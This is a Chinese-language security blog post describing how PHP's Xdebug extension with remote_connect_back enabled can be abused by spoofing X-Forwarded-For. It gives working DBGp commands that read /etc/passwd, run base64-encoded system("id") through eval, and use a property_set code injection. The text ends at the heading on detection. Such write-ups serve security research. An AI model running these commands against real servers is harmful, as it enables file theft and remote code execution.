作者:RicterZ
0x00 About Xdebug
Xdebug 是一個 PHP 的調試工具,支持在本地通過源碼遠程調試服務器上的 PHP 代碼。Xdebug 功能強大,最近關於其配置的文章也層出不窮,很早之前就萌生了挖掘 Xdebug 攻擊面的想法,終於在今天這個適合划水的日子去做了。
Xdebug 調試 PHP 的主要流程為:
- 接收到 debug 的信號,一般為請求參數帶有
XDEBUG_SESSION_START
- 返回一個
XDEBUG_SESSION
的 Cookie - 服務器作為客戶端,根據配置文件中的
xdebug.remote_host
和xdebug.remote_port
連接服務端(開發者的機器) - 服務端收到請求,向客戶端發送指令
Xdebug 支持的協議有 dbgp,具體的規範文檔在:https://xdebug.org/docs-dbgp.php。
Xdebug 的配置比較簡單,大體步驟為:
- 下載源碼,phpize、編譯
- 配置 php.ini,增加
zend_extension="/path/to/xdebug.so"
- 在 conf.d 目錄下創建 xdebug.ini
攻擊面所需要的環境中, xdebug.ini 內容為:
xdebug.remote_connect_back = 1 xdebug.remote_enable = 1 xdebug.remote_log = /tmp/test.log
在中國大內網的環境下,一般情況都會去配置 xdebug.remote_connect_back
,參見 百度關於 xdebug.remote_connect_back 的搜索結果,而我們的攻擊面也是建立在這條配置上的。
逐條解釋一下:
xdebug.remote_enable
,開啟遠程 debugxdebug.remote_connect_back
,開啟回連
xdebug.remote_connect_back
的回連是通過自定義 Header(xdebug.remote_addr_header
)、X-Forwarded-For 和 Remote-Addr 三個確定的,依次 fallback,所以即使配置了自定義 Header,也可以通過設置 XFF 頭來指定服務器連接。
Xdebug 的網絡交互也十分簡單,客戶端迴向服務端發送 XML 數據,服務端會向客戶端發送類似於 gdb 的 command。每次交互的數據以 /x00
作為 EOL。
0x02 Read The Manaul
通過閱讀 DBGp 的文檔,我們可以注意到一些比較敏感的命令。
- Core Commands > source
- Extended Commands > eval
- Extended Commands > interact – Interactive Shell
- Core Commands > property_set
source 可以讀取文件內容,eval is the eval。
1. source
source -i transaction_id -f fileURI
transaction_id 貌似沒有那麼硬性的要求,每次都為 1 即可,fileURI 是要讀取的文件的路徑,需要注意的是,Xdebug 也受限於 open_basedir。
利用方式:
source -i 1 -f file:///etc/passwd
另外,此處可以用 php://filter
來讀取文件,所以也可以用來 SSRF。
2. eval
eval -i transaction_id -- {DATA}
{DATA} 為 base64 過的 PHP 代碼。 利用方式(c3lzdGVtKCJpZCIpOw
== == system("id");
):
eval -i 1 -- c3lzdGVtKCJpZCIpOw==
3. interact
Xdebug 沒有實現這個,放棄吧。
4. property_set
根據 Xdebug 對於 dbgp 的實現,property_set 是存在一個代碼注入的。
具體代碼在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505
/* Do the eval */ eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value); res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);
利用方式:
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== property_get -n $a -i 1 -c 1 -p 0
0x03 Detect Xdebug & Exploit
說了這麼多,怎麼知道對方是否開了 Xdebug 並且可利用?很簡單,一個 cURL 就可以了。
转载请注明:IAMCOOL » Xdebug: A Tiny Attack Surface